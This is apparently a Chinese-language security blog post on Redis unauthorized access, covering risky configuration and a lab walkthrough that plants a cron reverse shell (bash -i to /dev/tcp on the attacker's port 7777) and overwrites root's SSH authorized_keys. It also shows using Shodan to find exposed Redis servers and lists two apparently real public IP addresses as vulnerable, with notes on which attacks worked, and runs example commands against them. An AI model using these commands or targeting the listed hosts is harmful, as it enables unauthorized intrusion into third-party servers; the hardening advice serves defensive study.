Redis:未授权访问

Redis

Redis(Remote Dictionary Server)是一个开源的高性能键值对(key-value)数据库,支持多种类型的数据结构。

核心特性

内存存储:Redis将所有数据存储在内存中,能够提供极高的读写性能。

持久化:虽然Redis是内存数据库,但提供了两种持久化机制:

RDB(Redis Database):在指定的时间间隔内将内存中的数据快照保存到磁盘。

AOF(Append Only File):记录每次写操作命令,并在服务器启动时重新执行这些命令来恢复数据。

漏洞成因

开发者配置不当,数据库对用户连接无限制,随意进行数据读写,并利用持久化机制,将文件保存至服务器,任意文件路径下

危险的配置文件项

配置项问题描述安全建议
监听配置 (bind)默认可能绑定到 0.0.0.0,允许所有IP访问绑定到内网地址或特定安全的网络接口
端口配置 (port)通常开放标准端口,容易被发现更改为非标准端口,减少被扫描的机率
密码设置 (requirepass)默认无密码设置设置强密码,避免未授权访问
防火墙不启用,或配置过于宽松启用并严格配置 ,限制用户和命令的权限
保护模式 (protected-mode)若设置为 no,在无密码的情况下任何IP都可以连接保持默认的 yes,或在禁用时确保使用强密码和 ACL

漏洞危害

1.服务器目录结构泄露

2.任意文件上传

3.服务器接管

redis常用操作

别名配置【详细点击主页查找】

alias redis='/usr/local/redis-6.0.9/src/redis-server /usr/local/redis-6.0.9/redis.conf'
alias rcli='/usr/local/redis-6.0.9/src/redis-cli'

 1.远程连接redis服务器

rcli -h 服务器ip地址 -p 运行redis服务的端口默认6379

rcli -h 39.108.91.74 -p 6379

2.读写数据

写:set 键名 数据

读:get 键名

 3.获取服务器信息

39.108.91.74:6379>info

4.获取配置文件信息[两行为整体,一行键一行值]

 106.15.138.150:6379> config get *

5.获取当前所有键

106.15.138.150:6379> keys *

6.动态修改文件保存路径及文件名

修改保存文件名:config set dbfilename 文件名

修改保存路径:config set dir 文件保存路径

7.将数据保存文件

106.15.138.150:6379> save

8.利用报错,判断文件保存是否成功

存在文件但不是目录类型: (error) ERR Changing directory: Not a directory

没有这样的文件或目录: (error) ERR Changing directory: No such file or directory

 

9.删除所有数据

flushall

redis漏洞利用

环境检验

攻击机:192.168.10.5

靶机:192.168.10.6

1.攻击机靶机正常通信

2.靶机开启redis服务

3.靶机检查redis端口状态

netstat -an 列出所有网络连接和监听的端口。

通过管道 | 传递给 grep 6379 命令。

grep 6379 搜索包含 "6379" 的行,并将结果输出到终端。

4.攻击机和靶机关闭防火墙

5.攻击机连接靶机redis服务

 

写入反弹连接

1.将cron表达式存储与随机键下

set x "\n* * * * * bash -i >& /dev/tcp/192.168.10.5/7777 0>&1\n"

每分钟对192.168.10.5的7777端口建立tcp连接,加入\n换行符防止其余保存数据对任务造成影响

2.配置保存路径,修改为定时任务目录下

config set dir /var/spool/cron/

cron目录:目录下存放以用户名命名的定时任务

3.修改保存文件名,改为root,使root用户每分钟执行一次表达式

config set dbfilename root

靶机已存在该文件。redis权限为root可以进行覆盖

 4.保存

save

5.查看靶机root用户的计划任务是否添加成功[]

 config set dir /var/spool/cron/root

(error) ERR Changing directory: Not a directory
当前目录下有root文件

6.使用nc监听靶机7777端口,进行反向连接

 nc -lvp 7777

连接成功: 

 

<1.查看靶机计划任务

 

写入ssh密钥实现免密登录

使用场景:目标主机存在开启了ssh服务的端口,且存在.ssh文件夹

原理:通过redis写入公钥文件,将源文件进行覆盖

密钥相关知识文章见主页其他文章

测试密钥登录
<1.复制公钥上传至靶机

靶机下出现文件 /root/.ssh/authorized_keys

<2 使用私钥进行登录

 <3 删除密钥文件authorized_keys 留存.ssh

 

 redis写入密钥
1.将公钥内容拼接换行符写入redis

 2.动态修改保存路径和文件名并将文件保存

 3.使用私钥进行登录

 

 如何寻找redis未授权访问漏洞

进入shodan

https://www.shodan.io

搜索关键字

port:6379

 

存在漏洞的ip

39.108.91.74:6379
读写:正常
动态修改:异常
文件路径:异常


106.15.138.150:6379
读写:正常
动态修改:正常
文件路径:正常
连接:异常

  • 27
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值